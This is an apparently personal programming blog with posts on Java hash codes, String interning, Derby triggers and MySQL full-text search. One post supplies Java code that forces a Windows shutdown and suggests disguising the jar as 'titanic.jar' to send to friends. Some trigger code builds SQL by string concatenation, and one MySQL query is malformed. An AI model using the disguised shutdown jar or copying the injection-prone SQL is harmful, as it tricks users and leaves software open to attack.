Ramblings from a Bihari!

Just another WordPress.com weblog

interesting fact about identityHashCode() method in java.lang.System Class

The following four lines of code is provides such outputs which confused me about the identityHashCode() method of System class. System.identityHashCode() method is supposed to give the default hashcode value irrespective of whether you have overridden hascode in your class. And as we know that default implementation maps the internal memory address to an integer value.

1  String s = new String(new char[]{‘j’, ‘a’,’v’,’a’});
2  String s1 = new String(new char[]{‘a’, ‘b’,’c’,’d’});

3  System.out.println(System.identityHashCode(s));
4  System.out.println(System.identityHashCode(s1));

When I created a String instance by executing line 1 it would have got some memory location allocated to it. Lets say that is “x”. Then I created another instance s1 with passing some other different array to the String constructor. So s1 would have also got some memory location  allocated for it. Lets say that is “y”.

Now when I print the identity hash code by executing the line number 3 and 4 every time I run the program it gives me the same two integer values. And the order of values depends on the execution of line number 3 and 4 but not on 1 and 2 where actual allocation of memory happened. Thats strange for me :(

July 31, 2008 Posted by | techie stuff | 8 Comments

Interesting inconsistency with java String pool

I was just trying out the intern() method of java.lang.String class and found an interesting issue.

The intern() method is supposed to put the string literal in the intern pool and give you back a handle to that.

Let me explain the scenario with two programs:-

public static void main(String[] args) {

char[] c = new char[]{‘a’,’b’,’c’};
String s = new String(c).intern();
System.out.println(System.identityHashCode(s));
s = null;
for (int i = 0; i < 20; i++) {
System.gc();
}
String s1 = new String(c).intern();
System.out.println(System.identityHashCode(s1));

}

What are the two values this program is supposed to print ?? I think since the intern is an WeakHashMap so after the gc call it should print two different values of identityHashCode.  Yes till now we are correct theortically and practically both.  But  if you replace the character array with any of

1. new char[]{‘a’,’b’,’c’};

2. new char[]{‘a’,’b’};

3. new char[]{‘a’};

The program will print both the hashcode values as same. Thats strange and very inconsistent. As per my understanding  the value of elements in the array should not be responsible for the behavior of intern() or any other java method.

July 31, 2008 Posted by | techie stuff | 1 Comment

did u know u can find the location of the .class file from the instance??

In general there is no guarantee that u can always get the location(Basically URL) from where ur instance or object is loaded but luck u can’t completely discard.. :)

The following class which i am putting tries to find out the location of teh instance from where it is loaded. All you need to do is call the getClass method on your concerned instance and pass the output to this method.

package com.deepak.classloader;

import java.io.File;
import java.net.MalformedURLException;
import java.net.URL;
import java.security.CodeSource;
import java.security.ProtectionDomain;

public class FindClassLoaction {

public static URL getClassLocation (final Class clazz)
{
URL clazzLocation = null;
final String clazzFileName = clazz.getName().replace (‘.’, ‘/’).concat (“.class”);

final ProtectionDomain pd = clazz.getProtectionDomain ();
if (pd != null)
{
final CodeSource codeSourceOfClazz = pd.getCodeSource();
if (codeSourceOfClazz != null) clazzLocation = codeSourceOfClazz.getLocation ();

if (clazzLocation != null)
{
if (“file”.equals (clazzLocation.getProtocol ()))
{
try
{
if (clazzLocation.toExternalForm ().endsWith (“.jar”) ||
clazzLocation.toExternalForm ().endsWith (“.zip”))
clazzLocation = new URL (“jar:”.concat (clazzLocation.toExternalForm ())
.concat(“!/”).concat (clazzFileName));
else if (new File (clazzLocation.getFile ()).isDirectory ())
clazzLocation = new URL (clazzLocation, clazzFileName);
}
catch (MalformedURLException ignore) {}
}
}
}

if (clazzLocation == null)
{
final ClassLoader clsLoader = clazz.getClassLoader ();

clazzLocation = clsLoader != null ?
clsLoader.getResource (clazzFileName) :
ClassLoader.getSystemResource (clazzFileName);
}

return clazzLocation;
}

}

The luck factor here is that u can’t guarantee the fact that every class is loaded with some ProtectionDomain i.e. It depends on the classloader whether it is creating the ProtectionDomain before loading the class….:(

also the CodeSource can be null depending on the classloader implementation. U can almost be sure that protection domain and code source will be populated for the classloders which are instance of URLClassLoader. So better you can put a check on the claasloader whether its an instance of URLClassLoader to be on safe side.

Sun’s implementation seems to allow finding the class file as resource ..

enjoy….

April 24, 2008 Posted by | techie stuff | 6 Comments

Cases for Shortcomings of Single Request-Response model

My personal experience about implementing a single request response model had been very discouraging. Consider a situation in which u want two remotely hosted instances of database to be synchronized.  The synchronization essentially means  changes at either side to be reflected  at the  other side  whenever  synchronization request  is made.  The changes here essentially means inserts, updates, deletes at either side and not the DDL changes to be reflected.

I have a solution which does this synchronization using transfer of changes at either side as XML data packets and applying the changes after successfully receiving the changed XML data packets from the other side. The solution I implemented initially was a single request response model.

This simply means that

Step 1. I will fetch the database changes at the requester side from the last stable synchronized state and convert the changes resultset to java.sql.rowset.WebRowSet kind of XML format and transfer the changes to the receiver end with the request.

Step 2. The receiver side will receive the changes and try to parse the XML data packets and apply the changes on the database.

Step 3. After committing the changes received from the requester end I will fetch the changes at the receiver end and will prepare the XML data packets out of it.

Step 4. The changes at the receiver end will reach and received at the requester end the same commit will happen.

At the end I ll have the two ends in a synchronized state.

The problem with this approach is that this approach is highly unreliable as it is tightly coupled with network. Any network failure will lead to again creating the synchronization request. Which is not necessary as it is always easier to cache the changes at each step(After fetching the changes, After receiving the changes at either end). Also in the single request response model I feel that acknowledgment of  a particular atomic activity  is not exchanged which will highly increase the reliability or at least we can have a save point based approach. what say ??

April 21, 2008 Posted by | techie stuff | Leave a comment

Information asymmetry

Once upon a time there was a village in which there lived many married couples. There were certain qualities about this village, though, that made this village unique: Whenever a man had an affair with another man’s wife, every woman in the village got to know about the affair, except his own wife. This happened because the woman who he had slept with talked about their affair with all the other women in the village, except his wife. Moreover, no one ever told his wife about the affair. The strict laws of the village required that if a woman could prove that her own husband had been unfaithful towards her, then she must kill him that very day before midnight. Also, every woman was law-abiding, intelligent, and aware of the intelligence of other women living in that village.
You and I know that exactly twenty of the men had been unfaithful to their wives. However, as no woman could prove the guilt of her husband, the village life proceeded smoothly.
Then, one morning, a wise old man with a long, white beard came to the village. His magical powers, and honesty was acknowledged by all and his word was taken as the gospel truth. The wise old man asked all villagers to gather together in the village compound and then announced: “At least one of the men in this village has been unfaithful to his wife.” Questions: 1. What happened next? 2. And what this got to do with stock market crashes? Answer 1: After the wise old man has spoken, there shall be 19 peaceful days followed by a massive slaughter before the midnight of the 20th day when twenty women will kill their husbands. Proof: We will use backward thinking for the proof. Indeed, the very purpose of this post is to demonstrate the utility of the backward thinking style. Let’s start by assuming that there is only one unfaithful man in the village – Mr. A. Later, we shall drop this assumption. Every woman in the village except Mrs. A knows that he is unfaithful. However, since no one has told her anything, and she remains blissfully ignorant. But only until the old man speaks the words, “At least one of the men in this village has been unfaithful to his wife.” The old man’s words are news only for Mrs. A, and mean nothing to the other women. And because she is intelligent, she correctly reasons that if any man other than her own husband was unfaithful, she would have known about it. And since she has no such knowledge in her possession, it must mean that it’s her own husband who is unfaithful. And so, before the midnight of the day the old man spoke, she must execute her husband. Now, let’s assume that there were exactly two unfaithful men in the village – Mr. A and Mr. B. The moment the old man speaks the words, “At least one of the men in this village has been unfaithful to his wife,” the village’s women population gets divided as follows:
Every woman other than Mrs. A and Mrs. B knows the whole truth;
Mrs. A knows about philanderer Mr. B, but, as of now, knows nothing about  her own husband’s unfaithfulness, so she assumes that there is only one  unfaithful man – Mr. B – who will be executed by Mrs. B that night; and Mrs. B knows about philanderer Mr. A, but, as of now, knows nothing about her own husband’s unfaithfulness, so she assumes that there is only one unfaithful man – Mr. A – who will be executed by Mrs. A that night.  
As the
midnight of day one approaches, Mrs. A is expecting Mrs. B to execute her husband, and vice versa. But, and this is key, none of them do what the other one is expecting them to do! The clock is ticking away and passes midnight and day 2 starts. What happens now is sudden realization on the part of both Mrs. A and Mrs. B, that there must be more than one man who is unfaithful. And, since none of them had prior knowledge about this other unfaithful man, then it must be their own respective husbands who were unfaithful! In other words, the inaction of one represents new information for the other. Therefore, using the principles of inductive logic requiring backward thinking, both Mrs. A and Mrs. B will execute their respective husbands before the midnight of day 2. Now, let’s assume that there are exactly three unfaithful men in the village- Mr. A, Mr. B., and Mr. C. The same procedure can be used to show that in such a scenario, the wives of these three philandering men will kill them before the midnight of day 3. Using the same process, it can be shown that if exactly twenty husbands are unfaithful, their wives would finally be able to prove it on the 20th day, which will also be the day of the bloodbath. Answer 2: Connection with Stock Market Crashes If you replace the announcement of the old man with that provided, by say,  SEBI, the nervousness of the wives with the nervousness of the investors,  the wives’ contentment as long as their own husbands weren’t cheating on  them with the investors’ contentment so long as their own companies were  not indulging in fraud, the execution of twenty husbands with massive  dumping of stocks, and the time lag between the old man’s announcement and  the killings with the time lag between the old man’s announcement and the  market crash, the connection between the story and market crashes becomes  obvious. Information Asymmetry One of the most interesting aspects about the story is the role of information asymmetry. You and I knew that there were exactly twenty unfaithful men in the village. We had complete information about the number of unfaithful men in that village but not their identity. On the other hand, every woman in the village knew the identity of at least nineteen unfaithful men. For example, if you were Mrs. A, you would have known about nineteen unfaithful men, but not about your own husband’s unfaithfulness. And, if you were one of the women whose husband was faithful, then you’d know the identity of twenty unfaithful men. But the old man did not say that there were twenty unfaithful men in the village. All he said was that there was at least one unfaithful man in the village. So, his statement, did not add anything to the knowledge of any individual woman because each of them knew of at least nineteen unfaithful men! And yet, his statement caused the bloodbath after twenty days! The lesson is simple: It’s not necessary for any new information to cause havoc in the stock market. Sudden realizations about the stupidity of  gross overvaluations and dubious accounting practices followed by some  companies in bubble markets can and do occur simultaneously in the minds  of the crowd. And that sudden realization can cause markets to crash!  

September 21, 2007 Posted by | Life Around Code | Leave a comment

Another bad mark on My Image in Boss’s Mind……:(

Another bad incident……

For the whole fraternity of indian cricket fans the 6 sixes on Yuvi against Broad is like immaculate piece of gift. But for me it went into another embarrasing laps of working day….

After the six sixes me and my lovely brothers got highly spirited for india and bought the same spirit we are having since our college days…… IMPERIAL BLUE with Thumps UP(SHhhhhh… my boss can forgive me for not coming to office but he will throw me out of office if he found me mixing cold drink with Whysky) …

Anyways by the end of the match i was full bottle down and not in my senses. They told me that i slept after 4 in the morning and i dont know what happened after that. But when i woke up next morning it was 5 Pm in the evening… High hangover…. Shittttt. Again not in the state of going enywhere… i know my this habit will some day take my job from me ……. God save me from the scoldings of ……….

September 21, 2007 Posted by | Life Around Code | Leave a comment

Sharing the same connection or transaction space between derby sql and java.

Think of a situation in which you want to write a stored procedure in Derby and the procedure is calling a static java method inside the same JVM. The important requirement here is that the java method is is being executed by the SQL stored procedure is modifiying some data in the database. So finally the scenario is :: SQL is modifying the data as well as the java method is also modifying the data in the same database. So one must be thinking of transaction safety…. e.g when u rollback both the changes(made by SQL and the corresponding java method) must get rollback. Following is the example…….

Trigger which calls a stored procedure.:::::

CREATE TRIGGER COMPOSITE_U_T AFTER UPDATE ON COMPOSITE REFERENCING NEW AS NEWROW FOR EACH ROW MODE DB2SQL CALL PRO_TRIGGER(‘ID1′, ‘ID2′, NEWROW.ID1, NEWROW.ID2, ‘COMPOSITE’, ‘U’);

Procedure which is called by trigger and which in turn calls the static java method::::

CREATE PROCEDURE PRO_TRIGGER(P_K_1 VARCHAR(50), P_K_2 VARCHAR(50), PK_VAL1 INTEGER, PK_VAL2 INTEGER, TABLE_NAME VARCHAR(100), FLAG VARCHAR(2)) PARAMETER STYLE JAVA MODIFIES SQL DATA LANGUAGE JAVA EXTERNAL NAME ‘com.pramati.bfly.sync.util.db.TriggerClass.executeTriggerLogic';

The java method which shares the same transaction space as the Procedure which is calling it.

public static void executeTriggerLogic(String pKColName1,String pKColName2, int pKValue1, int pKValue2, String tableName,

String flag) {

String updateDashTableQry = “update “

+ tableName

+ “_dash set time = current_timestamp, flag = ‘”

+ flag

+ “‘, user_id = ‘error’ “

+ (flag.equalsIgnoreCase(“I”) ? “, inserted_time = current_timestamp”

: “”) + ” where “ + pKColName1 + ” = “ + pKValue1

+ ” AND “ + pKColName2 + ” = “ + pKValue2;String insertIntoDashTableQry =

“insert into “ + tableName + “_dash values( “ + pKValue1 + “, “ + pKValue2

+ “, current_timestamp, ‘” + flag + “‘, “

+ (flag.equalsIgnoreCase(“I”) ? “current_timestamp” : null)

+ “, ‘error’)”;

try {

Connection conn = DriverManager

.getConnection(“jdbc:default:connection”);

String query = “select count(*) from “ + tableName + “_dash where “

+ pKColName1 + ” = “ + pKValue1 + ” AND “ + pKColName2

+ ” = “ + pKValue2;

int count = 1;

PreparedStatement ps = conn.prepareStatement(query);

ResultSet rs = ps.executeQuery();

if (rs.next()) {

count = rs.getInt(1);

}

if (count > 0) {System.out.println(“update query ::” + updateDashTableQry);

PreparedStatement ps1 = conn

.prepareStatement(updateDashTableQry);

ps1.executeUpdate();

} else {System.out.println(“insert query ::” + insertIntoDashTableQry);

PreparedStatement ps2 = conn

.prepareStatement(insertIntoDashTableQry);

ps2.executeUpdate();

}

conn.close();

} catch (SQLException e) {

e.printStackTrace();

}

 

}

The most important line as per sharing the same transaction space or sharing the same connection instance between the procedure and the static java method is

Connection conn = DriverManager

.getConnection(“jdbc:default:connection”);

You even dont need to load the Driver as in normal JDBC routine. The above is a very good example which can solve a major migration issue from a Oracle  database trigger to the Java Database(derby) trigger.

 

Cheers!!!!

September 21, 2007 Posted by | techie stuff | 1 Comment

Did u know that u can shutdown someone’s machine(windows) using java????

ha ha ha, there is no particular fundoo java is involved here. Here is the code…u must know the location where windows is installed. Currently i assumed it to be….C:\Windows. So, the cmd.exe is inside C:\Windows\System32. Now follows the code….

package com.deepak.entertainment;

import java.io.IOException;
import java.io.OutputStream;

public class Deepak {
 
 public static void main(String[] args) throws InterruptedException {
  Runtime runtime = Runtime.getRuntime();
  try {
   Process process = runtime.exec(“C:\\WINDOWS\\system32\\cmd.exe”);
   OutputStream os = process.getOutputStream();
   os.write(“shutdown -s -f -t 90 \n\r”.getBytes());
   os.close();
   process.waitFor();
  } catch (IOException e) {
   e.printStackTrace();
  }
 }

}

package this class in a jar file with proper Main-Class entry in manifest file. U can always use jar -mcvf command to create a jar file if u have a proper manifest file. Otherwise the IDEs like eclipse allow tou to export ur main class as a jar file. Done!!!

Now, give this jar file a good name something like “titanic.jar” or something and send it to ur friends. If they have a jdk instlled and they double click the file(open with java) the machine will be shutdown in 90 seconds(configurable in the above code). You cant kill the shutdown process untill you open a command prompt and type

shutdown -a

a is for aborting shutdown.

Cheersssssssssssss!!!!!

September 17, 2007 Posted by | database, techie stuff | 3 Comments

Utilizing JAVA’s power in Derby Database Triggers

In oracle we know that we can do a hell lot of things inside a trigger which is database specific. For example, just consider the following trigger statement….

create or replace trigger <table_name>_u_t after update on <table_name>

referencing new as newRow

for each row

declare counts integer:=0;

begin

select count(*) into counts from <table_name>_dash where  primary_key_column_name = :newRow.primary_key_column_name  ;

if(counts > 0) then update <table_name>_dash set time = sysdate, flag = ‘U’, user_id = ‘error’ where  primary_key_column_name = :newRow.primary_key_column_name  ;

else

insert into <table_name>_dash values( :newRow.primary_key_column_name, sysdate, ‘U’, null, ‘error’); end if;

end;

You can see that almost a procedure is executed inside the trigger statement after update on the table. But these things u can’t do in derby database. Also, it is not that readable code. So here comes using the power of java and getting the above functionality of the trigger in derby database…..

1. First u need to write a method which u want to execute when some update is happening on table.

package com.deepak.test;

 

import java.sql.Connection;

import java.sql.DriverManager;

import java.sql.PreparedStatement;

import java.sql.ResultSet;

import java.sql.SQLException;

 

public class TriggerClass {

 

public static int createTrigger(String primaryKeyColumnName, int primaryKeyValue, String tableName, String flag) {

String updateDashTableQry = “update “

+ tableName

+ “_dash set time = current_timestamp, flag = ‘”

+ flag

+ “‘, user_id = ‘error’ “

+ (flag.equalsIgnoreCase(“I”) ? “, inserted_time = current_timestamp”

: “”) + ” where “ + primaryKeyColumnName + ” = “

+ primaryKeyValue;

String insertIntoDashTableQry = “insert into “ + tableName

+ “_dash values( “ + primaryKeyValue + “, current_timestamp, ‘”

+ flag + “‘, “

+ (flag.equalsIgnoreCase(“I”) ? “current_timestamp” : null)

+ “, ‘error’)”;System.

out.println(“update query ::” + updateDashTableQry);

try {Class.forName(

“org.apache.derby.jdbc.EmbeddedDriver”);

Connection conn = DriverManager

.getConnection(“jdbc:derby:deepakdb”);

String query = “select count(*) from “ + tableName + “_dash where “

+ primaryKeyColumnName + ” = “ + primaryKeyValue;int count = 0;

PreparedStatement ps = conn.prepareStatement(query);

ResultSet rs = ps.executeQuery();

if (rs.next()) {

count = rs.getInt(1);

}

if (count > 0) {

PreparedStatement ps1 = conn

.prepareStatement(updateDashTableQry);

ps1.executeUpdate();

} else {

PreparedStatement ps2 = conn

.prepareStatement(insertIntoDashTableQry);

ps2.executeUpdate();

}

conn.close();

} catch (ClassNotFoundException e) {

e.printStackTrace();

} catch (SQLException e) {

e.printStackTrace();

}

 

return 1;

}

 

}

2. Now u need to create a Function or procedure which will call this createTrigger method written above.

CREATE FUNCTION FUNC_TRIGGER(PK_COLUMN_NAME VARCHAR(50), PK_COLUMN_VALUE INT, TABLE_NAME VARCHAR(50), FLAG VARCHAR(2)) RETURNS INT LANGUAGE JAVA PARAMETER STYLE JAVA NO SQL EXTERNAL NAME ‘com.deepak.test.TriggerClass.createTrigger';

3. And finally you can call this database function created above in a trigger like the following code snippet.

create trigger <TABLE_NAME>_u_t after update on <TABLE_NAME>

 referencing new as newRow 

for each row

MODE DB2SQL

SELECT FUNC_TRIGGER(‘ID’, newRow.ID, ‘TEST_TRIGGER’, ‘U’) from sysibm.sysdummy1; 

I have used sysibm.sysdummy1 because i dint want to pass any of the table data inside the function.

September 17, 2007 Posted by | techie stuff | 4 Comments

Dids u know that u can search across multiple columns in a database table??

Problem :- There are three columns in a table on MySQL database.

Table Name :- Files

Column Names :- Title, Tags, Description

Lets Say that the search term is “red apple fresh”.

Here is the current wrong query which tries to search this term:

SELECT * FROM files WHERE (files.title LIKE ‘%”red apple fresh”%’ OR files.tags LIKE ‘%red apple fresh”%’ OR files.description LIKE ‘%red apple fresh”%’) ;

The problem with this query is  that it will only select items from the database that have “red apple fresh” together as one term in either the title, tags or description fields. Also if the term “fresh apple red” rather than “red apple fresh” is in either of the fields it will not select the item from the database.

So i needed a query that could select the item if the word “red” is in one field and “apple” is in another field and “fresh” is in the  third field. Also the search should be order insensitive. A one word search like “apple” should result in fetching any item with that word in any of these three fields.

Also with the current query if the person searches “red” then the results will show irrelevant items such as items with anything starting with “red…” such as “reddish” “reddy” ect. This is another error I’s trying to overcome.

Solution:-

Steps of the solution of the above pages is as follows:-

1. The storage engine of the above table should be MyISAM for the coming query to work. So we need to fire the following query to change the Storage engine of the table.

Alter table Files ENGINE=MyISAM;

2. Also the FULLTEXT search shall be enabled where the FULLTEXT is constituting all the three columns where the search term is supposed to occur.

Alter table files add FULLTEXT(title, tags, description);

3. Now the following query will solve the above problem.

query = Select * from files where (match(files, tags, description) Against (‘+red+apple+fresh’);

Cheers!!!

August 31, 2007 Posted by | techie stuff | Leave a comment

Follow

Get every new post delivered to your Inbox.